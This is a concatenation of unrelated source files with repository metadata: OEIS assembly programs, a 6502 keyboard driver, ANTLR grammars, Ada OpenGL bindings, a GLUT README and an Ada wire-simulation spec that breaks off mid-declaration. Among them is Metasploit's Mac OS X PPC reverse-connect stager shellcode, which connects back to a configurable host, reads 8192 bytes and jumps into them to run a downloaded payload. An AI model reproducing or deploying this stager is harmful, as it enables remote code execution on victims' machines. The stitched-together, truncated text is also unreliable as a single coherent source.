104992
<reponame>neoneye/loda ; A137913: Rows 2, 4, 6 of Mendeleyev-Seaborg (extended to 32 columns) periodic table elements. ; 3,4,5,6,7,8,9,10,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86 mov $1,$0 add $0,1 add $1,2 mov $2,3 lpb $1 add $0,$2 sub $1,1 add $2,1 mul $2,2 trn $1,$2 add $1,1 lpe sub $0,1
programs/oeis/255/A255463.asm
neoneye/loda
22
174190
; A255463: a(n) = 3*4^n-2*3^n. ; 1,6,30,138,606,2586,10830,44778,183486,747066,3027630,12228618,49268766,198137946,795740430,3192527658,12798808446,51281327226,205383589230,822309197898,3291561314526,13173218826906,52713796014030,210917946175338,843860071059006,3376005143308986,13505715150454830 mov $2,$0 mov $0,1 mov $1,1 lpb $2 add $1,$0 mul $0,4 mul $1,3 sub $2,1 lpe mov $0,$1
Hardware/tikeyboard.asm
Martin-H1/6502
3
241828
; ----------------------------------------------------------------------------- ; Driver for TI 99/4a keyboard. This 80's era keyboard has an 8x8 matrix and ; new old stock is ocasionally available on eBay. This code originated from ; <NAME>'s Orwell computer project and he graciously gave me his code. ; <NAME> <<EMAIL>> ; ----------------------------------------------------------------------------- .scope ; ; Aliases ; .alias _viaOutDdr 0 .alias _viaInDdr 0 .alias _viaOut 0 .alias _viaIn 0 ; ; Data segments ; .data ZPDATA .data BSS .space _keyBuffer 1 ; Keyboard port buffer. .space _keyCol 1 ; Current keyboard scan column. .space _keyCounter 1 ; Key debounce counter. .space _keyData 1 ; Debounced key value available for users. .space _keyLastKey 1 ; Last value of key pressed .space _keyPressed 1 ; Key pressed (as found in the lookup table). .space _keyRow 1 ; Current keyboard scan row. .space _keyStatus 1 ; bit 0 = funct, 1 = ctrl, 2 = shift, 3 = lock .text ; ; Functions ; keyboardInit: lda #$00 ; Load ACC with b00000000. sta _viaInDdr ; Set VIA port to all input. lda #$FF ; Load ACC with b11111111. sta _viaOutDdr ; Set VIA port to all output. ; Keyboard reading initialisation. lda #$19 ; Set the debounce counter. sta _keyCounter ; And store it. lda #$00 ; Zero out all static data. sta _keyLastKey ; Set the last key pressed value. sta _keyData ; Set the data buffer sta _keyPressed ; Set the key_pressed buffer. sta _keyStatus ; Set the status. rts ; ; Keyboard routine. This routine will set the data available flag in the ; _keyStatus register and return data in the _keyData variable when valid data ; is available from the keyboard. This routine scans the matrix by calling ; the matrix_scan routine then handles debouncing of the value. ; keyboardScan: txa ; Preserve X. pha tya ; Preserve Y. pha php ; Preserve status register. jsr _matrixScan ; Scan the matrix. lda _keyPressed ; Compare detected key to the last key pressed. cmp _keyLastKey ; Is this key different? bne _keyChange ; The keys are different so it's changing ; It's the same. lda _keyCounter ; If the counter is already at zero this is the same keypress. beq _KeyScanDone ; If it's zero we don't do anything. dec _keyCounter ; Otherwise decrement the debounce counter. beq _keyDebounced ; If it's zero now we have a valid key reading. jmp _keyScanDone _keyChange: lda #19 ; Reset the counter. sta _keyCounter ; And store it. lda _keyPressed ; Update the last key pressed value with this new value. sta _keyLastKey jmp _keyScanDone _keyDebounced: ; A valid key reading was detected. lda _keyPressed ; Load up the key pressed. beq _keyScanDone ; If it was zero (no key pressed) we're done. sta _keyData ; Make it available now in the data. lda #$80 ; Set the new data available bit. ora _keyStatus sta _keyStatus ; Store it in the status. _keyScanDone: plp ; Restore status. pla ; Restore Y. tay pla ; Restore X. tax rts ; ============================================================================= ; Keyboard matrix scan routine. The key_status (bit 6) will indicate if there ; is a key currently pressed. It also indicated if the function, control, ; shift or alpha lock were on (bits 0, 1, 2 and 3) ; There are 7 rows (0-6) and 8 columns. ; Shift, control and function are on row 0. Alpha is on row 6. We handle ; these as special cases. ; The pressed key is returned in _keyPressed. ; ============================================================================= _matrixScan: lda #$00 ; Load ACC with 0. sta _keyBuffer ; Clear the keyboard character buffer. sta _keyPressed ; Clear the key pressed buffer. lda #$80 ; Load ACC with 10000000. and _keyStatus ; Clear the bottom 7 bits of the status. sta _keyStatus ; Store it in the status. _matrixScanSpecial: ldx #$00 ; Read row 0. Row zero is a special case as ; it has the shift, control and function keys. txa ; Move the row counter to the accumulator. sta _viaOut ; Push it to the output VIA to select the row. lda _viaIn ; Read VIA input for column data. eor #$FF ; XOR to get set bits (keys active low). beq _matrixScanAlpha ; If zero no keys are being pressed on this row. ; Just go straight to the next row. sta _keyBuffer ; Some key(s) pressed. Store the port in our temp holder. lda #$07 ; Check if the special keys are pressed. ; Set up mask for the special keys. and _keyBuffer ora _keyStatus ; Now set those bits in the status register. sta _keyStatus ; Store it in the status. lda #$E0 ; Now mask off the normal keys and check them. and _keyBuffer sta _keyBuffer ; Store it in the buffer. _matrixScanAlpha: ldx #$06 ; The alpha key on row 6 is also a special case. txa ; Move the row counter to the accumulator. sta _viaOut ; Push it to the output VIA to select the row. lda _viaIn ; Read VIA input for column data. eor #$FF ; XOR to get set bits (keys active low). beq _matrixScanRows ; If this is non zero the alpha key is pressed. lda #$08 ; Set the alpha bit. ora _keyStatus sta _keyStatus ; Store it in the status. _matrixScanRows: ldx #$00 ; Reset X back to the first row. ldy #$00 ; Use Y as the column counter. _matrixScanCol: lda #$80 ; Load mask to check the data bit of the buffer. and _keyBuffer ; is set to see if key was pressed. beq _matrixScanColNext ; Branch if zero since that key wasn't pressed. lda #$40 ; It's set. Check if we already have a key ; pressed. Test bit 6 of the keyboard status. and _keyStatus ; AND with the keyboard status to test the bit. beq _matrixScanColData ; If zero, it's not set, process this new key. _matrixScanInvalid: ; It's already set so we have an invalid state. lda #$BF ; Clear the key pressed flag. and _keyStatus sta _keyStatus ; Set the status. jmp _matrixScanDone ; Now finish since it was invalid. _matrixScanColData: lda #$40 ; Set the key pressed bit. ora _keyStatus sta _keyStatus ; Store it in the status. stx _keyRow ; Remember the row. sty _keyCol ; Remember the column. _matrixScanColNext: clc ; Clear the carry flag. rol _keyBuffer ; Rotate buffer left to check the next column. iny ; Increment the column count. cpy #$08 ; Have we done all eight columns? bne _matrixScanCol ; Zero set if equal when we've done all eight. _matrixScanRowNext: inx ; Go onto the next row. cpx #$06 ; Have we done all remaining six rows? beq _matrixScanRowsDone txa ; No, move row counter to ACC and read next row. sta _viaOut ; Push it to the output VIA to select the row. lda _viaIn ; Read VIA input for column data. eor #$FF ; XOR to get set bits (keys active low). beq _matrixScanRowNext ; If zero no keys are being pressed on this row. ; Just go straight to the next row. sta _keyBuffer ; Some key(s) pressed. Store in our buffer. ldy #$00 ; Use Y as the column counter. jmp _matrixScanCol ; Check the columns for this row. _matrixScanRowsDone: lda #$40 ; Check if the data flag is set. and _keyStatus ; AND with the keyboard status to test the bit. beq _matrixScanDone ; If zero we have no keys pressed so can finish. _matrixScanShift: ; Add to row counter for special keys pressed. lda #$04 ; Check shift first. bit _keyStatus ; Bit three in _keyStatus. beq _matrixScanCtrl ; Shift not pressed so test control next. lda #$06 ; Shift was pressed so add 6 to the row count. clc ; Clear carry flag. adc _keyRow ; Add to the row count. sta _keyRow ; Store the result. jmp _matrixScanLookup ; Now go look up the key. _matrixScanCtrl: lda #$02 ; Check control next. bit _keyStatus ; Bit 2 in _keyStatus. beq _matrixScanFctn ; Control not pressed so test function next. lda #$0C ; Control was pressed so add 12 to row count. clc adc _keyRow ; Add to the row count. sta _keyRow ; Store the result. jmp _matrixScanLookup ; Now go look up the key. _matrixScanFctn: lda #$01 ; Finally check function. bit _keyStatus ; Bit one in _keyStatus. beq _matrixScanLookup ; Function not pressed so go lookup the key. lda #$12 ; Function was pressed so add 18 to row count. clc ; Clear carry flag. adc _keyRow ; Add to the row count. sta _keyRow ; Store the result. _matrixScanLookup: ; Now lookup the actual character. lda _keyRow ; Get the row. clc ; Clear the carry flag. rol ; Multiple the row counter by 8 (by using rol). clc rol ; x4 clc rol ; x8 clc adc _keyCol ; Add the column to get offset into the table. tax ; Transfer it into X. lda _keyboardMap,x ; Use as offset into table. Add offset to ; table address to convert scan code into ; ASCII character in the accumulator. sta _keyPressed ; Store the new character. lda #$08 ; Check if Alpha is on. bit _keyStatus ; Bit four in _keyStatus. beq _matrixScanDone ; Alpha not pressed so just store the key. ; $61 = a .. $7A = z. lda _keyPressed cmp #$61 ; Alpha pressed, upper case lower case letters. bcc _matrixScanDone ; Less than $61. cmp #$7B bcs _matrixScanDone ; More than than $7A. and #$DF ; Make upper case. sta _keyPressed ; Store the new character. _matrixScanDone: lda #$00 ; Reset the VIA port to all zero. sta _viaOut rts ; ============================================================================= ; Keyboard map. ; The keyboard is 48 keys mapped as 7 rows by 8 columns. ; There are four parts to the table for normal and shifted keys, control ; and function keys. ; ============================================================================= _keyboardMap: _keyboardMapRowN0: .BYTE "=", $20, $0D, 0, 0, 0, 0, 0 ;$20 = SPACE, $0D = CR _keyboardMapRowN1: .BYTE "nhy6bgt5" _keyboardMapRowN2: .BYTE "mju7vfr4" _keyboardMapRowN3: .BYTE ",ki8cde3" _keyboardMapRowN4: .BYTE ".lo9xsw2" _keyboardMapRowN5: .BYTE "/;p0zaq1" _keyboardMapRowS0: .BYTE "+", $20, $0D, 0, 0, 0, 0, 0 ;$20 = SPACE, $0D = CR _keyboardMapRowS1: .BYTE "NHY^BGT%" _keyboardMapRowS2: .BYTE "MJU&VFR$" _keyboardMapRowS3: .BYTE "<KI*CDE#" _keyboardMapRowS4: .BYTE ">LO(XSW@" _keyboardMapRowS5: .BYTE "-:P)ZAQ!" _keyboardMapRowC0: .BYTE "=", $20, $0D, 0, 0, 0, 0, 0 ;$20 = SPACE, $0D = CR _keyboardMapRowC1: .BYTE "nhy6b", $07, "t5" ;$07 = CTRL-G (bell) _keyboardMapRowC2: .BYTE "mju7vfr4" _keyboardMapRowC3: .BYTE ",ki8", $03, "de3" ;$03 = CTRL-C _keyboardMapRowC4: .BYTE ".lo9xsw2" _keyboardMapRowC5: .BYTE "/;p0zaq1" _keyboardMapRowF0: .BYTE "=", $20, $0D, 0, 0, 0, 0, 0 ;$20 = SPACE, $0D = CR _keyboardMapRowF1: .BYTE "nhy6b}]5" _keyboardMapRowF2: .BYTE "mj_7v{[4" _keyboardMapRowF3: .BYTE ",k?8`", $09, $1B, "3" ; $09 = TAB, $1B = ESC _keyboardMapRowF4: .BYTE ".l'9", $0A, $08, "~2" ; $0A = LF, $08 = BS _keyboardMapRowF5: .BYTE "/;", $22, "0\|q1" ; $22 = DOUBLE QUOTE .scend
src/main/antlr4/com/bitplan/expr/Numexpr.g4
BITPlan/com.bitplan.antlr
0
3877
/** * see https://github.com/antlr/antlr4/issues/994 */ grammar Numexpr; numexpr: if_statement EOF; if_statement: if_part ( else_part ) ? 'endif'; if_part: 'if' expr statement_list| 'if' expr; else_part: 'else' statement_list | 'else'; statement_list: statement +; statement: if_statement; expr: ID | VALUE | 'not' expr | expr '=' expr | expr 'and' expr | expr 'or' expr | expr 'between' expr 'and' expr ; VALUE: [0-9]+; ID: [a-zA-Z_][a-zA-Z_0-9]*; WS: [ \t\n\r\f]+ -> skip; ERROR: .;
Task/Non-decimal-radices-Convert/Ada/non-decimal-radices-convert.ada
LaudateCorpus1/RosettaCodeData
1
30156
with Ada.Text_Io; use Ada.Text_Io; with Ada.Strings.Fixed; With Ada.Strings.Unbounded; procedure Number_Base_Conversion is Max_Base : constant := 36; subtype Base_Type is Integer range 2..Max_Base; Num_Digits : constant String := "0123456789abcdefghijklmnopqrstuvwxyz"; Invalid_Digit : exception; function To_Decimal(Value : String; Base : Base_Type) return Integer is use Ada.Strings.Fixed; Result : Integer := 0; Decimal_Value : Integer; Radix_Offset : Natural := 0; begin for I in reverse Value'range loop Decimal_Value := Index(Num_Digits, Value(I..I)) - 1; if Decimal_Value < 0 then raise Invalid_Digit; end if; Result := Result + (Base**Radix_Offset * Decimal_Value); Radix_Offset := Radix_Offset + 1; end loop; return Result; end To_Decimal; function To_Base(Value : Natural; Base : Base_Type) return String is use Ada.Strings.Unbounded; Result : Unbounded_String := Null_Unbounded_String; Temp : Natural := Value; Base_Digit : String(1..1); begin if Temp = 0 then return "0"; end if; while Temp > 0 loop Base_Digit(1) := Num_Digits((Temp mod Base) + 1); if Result = Null_Unbounded_String then Append(Result, Base_Digit); else Insert(Source => Result, Before => 1, New_Item => Base_Digit); end if; Temp := Temp / Base; end loop; return To_String(Result); end To_Base; begin Put_Line("26 converted to base 16 is " & To_Base(26, 16)); Put_line("1a (base 16) is decimal" & Integer'image(To_Decimal("1a", 16))); end Number_Base_Conversion;
drivers/golang/parser/Age.g4
pdpotter/incubator-age
1
892
<filename>drivers/golang/parser/Age.g4 /* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ /* Apache AGE output data grammer */ grammar Age; ageout : value | vertex | edge | path ; vertex : properties KW_VERTEX ; edge : properties KW_EDGE ; path : '[' vertex (',' edge ',' vertex)* ']' KW_PATH ; //Keywords KW_VERTEX : '::vertex'; KW_EDGE : '::edge'; KW_PATH : '::path'; KW_NUMERIC : '::numeric'; // Common Values Rule value : STRING | NUMBER | NUMERIC | FLOAT_EXPR | BOOL | NULL | properties | arr ; properties : '{' pair (',' pair)* '}' | '{' '}' ; pair : STRING ':' value ; arr : '[' value (',' value)* ']' | '[' ']' ; STRING : '"' (ESC | SAFECODEPOINT)* '"' ; BOOL : 'true'|'false' ; NULL : 'null' ; fragment ESC : '\\' (["\\/bfnrt] | UNICODE) ; fragment UNICODE : 'u' HEX HEX HEX HEX ; fragment HEX : [0-9a-fA-F] ; fragment SAFECODEPOINT : ~ ["\\\u0000-\u001F] ; NUMBER : '-'? INT ('.' [0-9] +)? EXP? ; FLOAT_EXPR : 'NaN' | '-Infinity' | 'Infinity' ; NUMERIC : '-'? INT ('.' [0-9] +)? EXP? KW_NUMERIC ; fragment INT : '0' | [1-9] [0-9]* ; // no leading zeros fragment EXP : [Ee] [+\-]? INT ; // \- since - means "range" inside [...] WS : [ \t\n\r] + -> skip ;
external/source/shellcode/osx/ppc/stager_sock_reverse_nf.asm
OsmanDere/metasploit-framework
26,932
102101
<filename>external/source/shellcode/osx/ppc/stager_sock_reverse_nf.asm ;; ; ; Name: stager_sock_reverse_nf.asm ; Qualities: Null-Free ; Platforms: MacOS X / PPC ; Authors: <NAME> <hdm [at] metasploit.com> ; Version: $Revision: 1612 $ ; License: ; ; This file is part of the Metasploit Exploit Framework ; and is subject to the same licenses and copyrights as ; the rest of this package. ; ; Description: ; ; Connects back, reads 8192 bytes, jumps into payload. ; Socket descriptor is left in r30. ; ;; .globl _main .text _main: _socket: li r27, 0x3030 + 97 subi r0, r27, 0x3030 + 97 - 97 subi r3, r27, 0x3030 + 97 - 2 subi r4, r27, 0x3030 + 97 - 1 subi r5, r27, 0x3030 + 97 - 6 .long 0x44ffff02 xor r5, r5, r5 mr r30, r3 _storeaddr: ; port - patch the xor word li r25, (0x2211^0x4142) xori r25, r25, 0x4142 subi r29, r27, 0x3030 + 97 - 2 slwi r29, r29, 16 or r29, r29, r25 stw r29, -20(r1) ; addr - patch the xor dword lis r29, hi16(0x7f000001^0x01020304) ori r29, r29, lo16(0x7f000001^0x01020304) lis r28, hi16(0x01020304) ori r28, r28, lo16(0x01020304) xor r29, r29, r28 stw r29, -16(r1) konnect: la r4, -20(r1) subi r5, r27, 0x3030 + 97 - 16 subi r0, r27, 0x3030 + 97 - 98 mr r3, r30 .long 0x44ffff02 xor r5, r5, r5 reader: li r29, 0x3330 srawi r29, r29, 12 subi r0, r27, 0x3030 + 97 - 3 mr r3, r30 subi r4, r1, 8192+44 li r5, 8192+44 mtctr r4 .long 0x44ffff02 xor r5, r5, r5 xor. r5, r5, r5 blectr xor r5, r5, r5
src/test/resources/antlr_tests/JavaDocComment.g4
filip1097/LineCounter
0
7602
grammar JavaDocComment; /** * Production file */ file : A; A : 'a';
src/gl/implementation/gl-uniforms.adb
Roldak/OpenGLAda
79
9648
-- part of OpenGLAda, (c) 2017 <NAME> -- released under the terms of the MIT license, see the file "COPYING" with GL.API.Singles; with GL.API.Ints; with GL.API.UInts; with GL.Low_Level; package body GL.Uniforms is procedure Set_Single (Location : Uniform; Value : Single) is begin API.Singles.Uniform1 (Location, Value); Raise_Exception_On_OpenGL_Error; end Set_Single; procedure Set_Single (Location : Uniform; V1, V2 : Single) is begin API.Singles.Uniform2 (Location, V1, V2); Raise_Exception_On_OpenGL_Error; end Set_Single; procedure Set_Single (Location : Uniform; Value : Singles.Vector2) is begin API.Singles.Uniform2v (Location, 1, (1 => Value)); Raise_Exception_On_OpenGL_Error; end Set_Single; procedure Set_Single (Location : Uniform; V1, V2, V3 : Single) is begin API.Singles.Uniform3 (Location, V1, V2, V3); Raise_Exception_On_OpenGL_Error; end Set_Single; procedure Set_Single (Location : Uniform; Value : Singles.Vector3) is begin API.Singles.Uniform3v (Location, 1, (1 => Value)); Raise_Exception_On_OpenGL_Error; end Set_Single; procedure Set_Single (Location : Uniform; V1, V2, V3, V4 : Single) is begin API.Singles.Uniform4 (Location, V1, V2, V3, V4); Raise_Exception_On_OpenGL_Error; end Set_Single; procedure Set_Single (Location : Uniform; Value : Singles.Vector4) is begin API.Singles.Uniform4v (Location, 1, (1 => Value)); Raise_Exception_On_OpenGL_Error; end Set_Single; procedure Set_Single (Location : Uniform; Value : Single_Array) is begin API.Singles.Uniform1v (Location, Value'Length, Value); Raise_Exception_On_OpenGL_Error; end Set_Single; procedure Set_Single (Location : Uniform; Value : Singles.Vector2_Array) is begin API.Singles.Uniform2v (Location, Value'Length, Value); Raise_Exception_On_OpenGL_Error; end Set_Single; procedure Set_Single (Location : Uniform; Value : Singles.Vector3_Array) is begin API.Singles.Uniform3v (Location, Value'Length, Value); Raise_Exception_On_OpenGL_Error; end Set_Single; procedure Set_Single (Location : Uniform; Value : Singles.Vector4_Array) is begin API.Singles.Uniform4v (Location, Value'Length, Value); Raise_Exception_On_OpenGL_Error; end Set_Single; procedure Set_Single (Location : Uniform; Value : Singles.Matrix2) is begin API.Singles.Uniform_Matrix2 (Location, 1, Low_Level.False, (1 => Value)); Raise_Exception_On_OpenGL_Error; end Set_Single; procedure Set_Single (Location : Uniform; Value : Singles.Matrix3) is begin API.Singles.Uniform_Matrix3 (Location, 1, Low_Level.False, (1 => Value)); Raise_Exception_On_OpenGL_Error; end Set_Single; procedure Set_Single (Location : Uniform; Value : Singles.Matrix4) is begin API.Singles.Uniform_Matrix4 (Location, 1, Low_Level.False, (1 => Value)); Raise_Exception_On_OpenGL_Error; end Set_Single; procedure Set_Single (Location : Uniform; Value : Singles.Matrix2_Array) is begin API.Singles.Uniform_Matrix2 (Location, Value'Length, Low_Level.False, Value); Raise_Exception_On_OpenGL_Error; end Set_Single; procedure Set_Single (Location : Uniform; Value : Singles.Matrix3_Array) is begin API.Singles.Uniform_Matrix3 (Location, Value'Length, Low_Level.False, Value); Raise_Exception_On_OpenGL_Error; end Set_Single; procedure Set_Single (Location : Uniform; Value : Singles.Matrix4_Array) is begin API.Singles.Uniform_Matrix4 (Location, Value'Length, Low_Level.False, Value); Raise_Exception_On_OpenGL_Error; end Set_Single; procedure Set_Int (Location : Uniform; Value : Int) is begin API.Ints.Uniform1 (Location, Value); Raise_Exception_On_OpenGL_Error; end Set_Int; procedure Set_Int (Location : Uniform; V1, V2 : Int) is begin API.Ints.Uniform2 (Location, V1, V2); Raise_Exception_On_OpenGL_Error; end Set_Int; procedure Set_Int (Location : Uniform; Value : Ints.Vector2) is begin API.Ints.Uniform2v (Location, 1, (1 => Value)); Raise_Exception_On_OpenGL_Error; end Set_Int; procedure Set_Int (Location : Uniform; V1, V2, V3 : Int) is begin API.Ints.Uniform3 (Location, V1, V2, V3); Raise_Exception_On_OpenGL_Error; end Set_Int; procedure Set_Int (Location : Uniform; Value : Ints.Vector3) is begin API.Ints.Uniform3v (Location, 1, (1 => Value)); Raise_Exception_On_OpenGL_Error; end Set_Int; procedure Set_Int (Location : Uniform; V1, V2, V3, V4 : Int) is begin API.Ints.Uniform4 (Location, V1, V2, V3, V4); Raise_Exception_On_OpenGL_Error; end Set_Int; procedure Set_Int (Location : Uniform; Value : Ints.Vector4) is begin API.Ints.Uniform4v (Location, 1, (1 => Value)); Raise_Exception_On_OpenGL_Error; end Set_Int; procedure Set_Int (Location : Uniform; Value : Int_Array) is begin API.Ints.Uniform1v (Location, Value'Length, Value); Raise_Exception_On_OpenGL_Error; end Set_Int; procedure Set_Int (Location : Uniform; Value : Ints.Vector2_Array) is begin API.Ints.Uniform2v (Location, Value'Length * 2, Value); Raise_Exception_On_OpenGL_Error; end Set_Int; procedure Set_Int (Location : Uniform; Value : Ints.Vector3_Array) is begin API.Ints.Uniform3v (Location, Value'Length * 3, Value); Raise_Exception_On_OpenGL_Error; end Set_Int; procedure Set_Int (Location : Uniform; Value : Ints.Vector4_Array) is begin API.Ints.Uniform4v (Location, Value'Length * 4, Value); Raise_Exception_On_OpenGL_Error; end Set_Int; procedure Set_Int (Location : Uniform; Value : Ints.Matrix2) is begin API.Ints.Uniform_Matrix2 (Location, 1, Low_Level.False, (1 => Value)); Raise_Exception_On_OpenGL_Error; end Set_Int; procedure Set_Int (Location : Uniform; Value : Ints.Matrix3) is begin API.Ints.Uniform_Matrix3 (Location, 1, Low_Level.False, (1 => Value)); Raise_Exception_On_OpenGL_Error; end Set_Int; procedure Set_Int (Location : Uniform; Value : Ints.Matrix4) is begin API.Ints.Uniform_Matrix4 (Location, 1, Low_Level.False, (1 => Value)); Raise_Exception_On_OpenGL_Error; end Set_Int; procedure Set_Int (Location : Uniform; Value : Ints.Matrix2_Array) is begin API.Ints.Uniform_Matrix2 (Location, Value'Length, Low_Level.False, Value); Raise_Exception_On_OpenGL_Error; end Set_Int; procedure Set_Int (Location : Uniform; Value : Ints.Matrix3_Array) is begin API.Ints.Uniform_Matrix3 (Location, Value'Length, Low_Level.False, Value); Raise_Exception_On_OpenGL_Error; end Set_Int; procedure Set_Int (Location : Uniform; Value : Ints.Matrix4_Array) is begin API.Ints.Uniform_Matrix4 (Location, Value'Length, Low_Level.False, Value); Raise_Exception_On_OpenGL_Error; end Set_Int; procedure Set_UInt (Location : Uniform; Value : UInt) is begin API.UInts.Uniform1 (Location, Value); Raise_Exception_On_OpenGL_Error; end Set_UInt; procedure Set_UInt (Location : Uniform; V1, V2 : UInt) is begin API.UInts.Uniform2 (Location, V1, V2); Raise_Exception_On_OpenGL_Error; end Set_UInt; procedure Set_UInt (Location : Uniform; Value : UInts.Vector2) is begin API.UInts.Uniform2v (Location, 1, (1 => Value)); Raise_Exception_On_OpenGL_Error; end Set_UInt; procedure Set_UInt (Location : Uniform; V1, V2, V3 : UInt) is begin API.UInts.Uniform3 (Location, V1, V2, V3); Raise_Exception_On_OpenGL_Error; end Set_UInt; procedure Set_UInt (Location : Uniform; Value : UInts.Vector3) is begin API.UInts.Uniform3v (Location, 1, (1 => Value)); Raise_Exception_On_OpenGL_Error; end Set_UInt; procedure Set_UInt (Location : Uniform; V1, V2, V3, V4 : UInt) is begin API.UInts.Uniform4 (Location, V1, V2, V3, V4); Raise_Exception_On_OpenGL_Error; end Set_UInt; procedure Set_UInt (Location : Uniform; Value : UInts.Vector4) is begin API.UInts.Uniform4v (Location, 1, (1 => Value)); Raise_Exception_On_OpenGL_Error; end Set_UInt; procedure Set_UInt (Location : Uniform; Value : UInt_Array) is begin API.UInts.Uniform1v (Location, Value'Length, Value); Raise_Exception_On_OpenGL_Error; end Set_UInt; procedure Set_UInt (Location : Uniform; Value : UInts.Vector2_Array) is begin API.UInts.Uniform2v (Location, Value'Length, Value); Raise_Exception_On_OpenGL_Error; end Set_UInt; procedure Set_UInt (Location : Uniform; Value : UInts.Vector3_Array) is begin API.UInts.Uniform3v (Location, Value'Length, Value); Raise_Exception_On_OpenGL_Error; end Set_UInt; procedure Set_UInt (Location : Uniform; Value : UInts.Vector4_Array) is begin API.UInts.Uniform4v (Location, Value'Length, Value); Raise_Exception_On_OpenGL_Error; end Set_UInt; procedure Set_UInt (Location : Uniform; Value : UInts.Matrix2) is begin API.UInts.Uniform_Matrix2 (Location, 1, Low_Level.False, (1 => Value)); Raise_Exception_On_OpenGL_Error; end Set_UInt; procedure Set_UInt (Location : Uniform; Value : UInts.Matrix3) is begin API.UInts.Uniform_Matrix3 (Location, 1, Low_Level.False, (1 => Value)); Raise_Exception_On_OpenGL_Error; end Set_UInt; procedure Set_UInt (Location : Uniform; Value : UInts.Matrix4) is begin API.UInts.Uniform_Matrix4 (Location, 1, Low_Level.False, (1 => Value)); Raise_Exception_On_OpenGL_Error; end Set_UInt; procedure Set_UInt (Location : Uniform; Value : UInts.Matrix2_Array) is begin API.UInts.Uniform_Matrix2 (Location, Value'Length, Low_Level.False, Value); Raise_Exception_On_OpenGL_Error; end Set_UInt; procedure Set_UInt (Location : Uniform; Value : UInts.Matrix3_Array) is begin API.UInts.Uniform_Matrix3 (Location, Value'Length, Low_Level.False, Value); Raise_Exception_On_OpenGL_Error; end Set_UInt; procedure Set_UInt (Location : Uniform; Value : UInts.Matrix4_Array) is begin API.UInts.Uniform_Matrix4 (Location, Value'Length, Low_Level.False, Value); Raise_Exception_On_OpenGL_Error; end Set_UInt; end GL.Uniforms;
thirdparty/glut/README.ada
ShiroixD/pag_zad_2
2
4687
<gh_stars>1-10 GLUT 3.4 was the first release of GLUT to support an Ada language binding for SGI's Ada run-time and development environment. (With a bit of work, GLUT could probably be easily be adapted to other Ada development environments, assuming the environment already has an OpenGL binding.) To use the SGI Ada binding, please make sure that the following GNAT (SGI's Ada compiler) subsystems are installed on your system: Ada Execution-only Environment (eoe) ------------------------------------- gnat_eoe.sw.lib Ada Development Option (dev) ----------------------------- gnat_dev.bindings.GL gnat_dev.bindings.std gnat_dev.lib.src gnat_dev.lib.obj gnat_dev.sw.gnat The GLUT Ada binding was developed and tested with the IRIX 5.3 and 6.2 gnat_dev and gnat_eoe images (v3.07, built 960827). Some fairly simple GLUT examples written in Ada can be found in the progs/ada subdirectory. GLUT 3.6 expanded the number of Ada example programs included in the GLUT source code distribution. GLUT's actual Ada binding is found in the adainclude/GL subdirectory. To build the Ada binding and example programs, first build GLUT normally, then: cd adainclude/GL make glut.o cd ../../progs/ada make Good luck! - <NAME> November 12, 1997
testsuite/utils/src/wire_simulation.ads
rocher/Ada_Drivers_Library
192
11330
<reponame>rocher/Ada_Drivers_Library ------------------------------------------------------------------------------ -- -- -- Copyright (C) 2017-2018, AdaCore -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions are -- -- met: -- -- 1. Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- 2. Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in -- -- the documentation and/or other materials provided with the -- -- distribution. -- -- 3. Neither the name of the copyright holder nor the names of its -- -- contributors may be used to endorse or promote products derived -- -- from this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -- -- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -- -- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -- -- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -- -- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -- -- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -- -- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- This package provides a simulation of digital signals on an electric wire. -- It can be used to test algorithms using GPIO_Point like protocol bit -- banging. with HAL.GPIO; use HAL.GPIO; package Wire_Simulation is Unknown_State : exception; Invalid_Configuration : exception; type Virtual_Wire (Default_Pull : GPIO_Pull_Resistor; Max_Points : Positive) is tagged limited private; type Any_Virtual_Wire is access all Virtual_Wire'Class; function Point (This : in out Virtual_Wire; Id : Positive) return Any_GPIO_Point with Pre => Id <= This.Max_Points; -- Return the GPIO_Point coresponding to the Id private type Wire_State is (High, Low, Unknown); type Wire_Point is new HAL.GPIO.GPIO_Point with record Current_Mode : GPIO_Mode := Input; Current_Pull : GPIO_Pull_Resistor := Floating; Current_State : Boolean := False; Wire : Any_Virtual_Wire := null; end record; overriding function Support (This : Wire_Point; Capa : HAL.GPIO.Capability) return Boolean is (case Capa is when others => True); overriding function Mode (This : Wire_Point) return GPIO_Mode is (This.Current_Mode); overriding procedure Set_Mode (This : in out Wire_Point; Mode : GPIO_Config_Mode); -- Return False if the mode is not available overriding function Pull_Resistor (This : Wire_Point) return GPIO_Pull_Resistor is (This.Current_Pull); overriding procedure Set_Pull_Resistor (This : in out Wire_Point; Pull : 